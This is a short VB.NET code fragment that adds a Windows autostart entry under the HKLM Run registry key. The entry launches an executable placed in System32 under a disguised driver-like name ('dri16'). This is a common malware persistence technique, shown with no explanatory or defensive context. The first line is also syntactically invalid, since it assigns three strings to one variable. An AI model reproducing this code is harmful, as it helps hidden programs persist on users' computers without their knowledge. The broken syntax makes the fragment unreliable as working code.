Dim RandomName As String = "dri16", "driversetup", "driverfile"
        
        Dim RegistrySetup As RegistryKey
        RegistrySetup = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        RegistrySetup.SetValue(RandomName, "C:\Windows\System32\dri16.exe")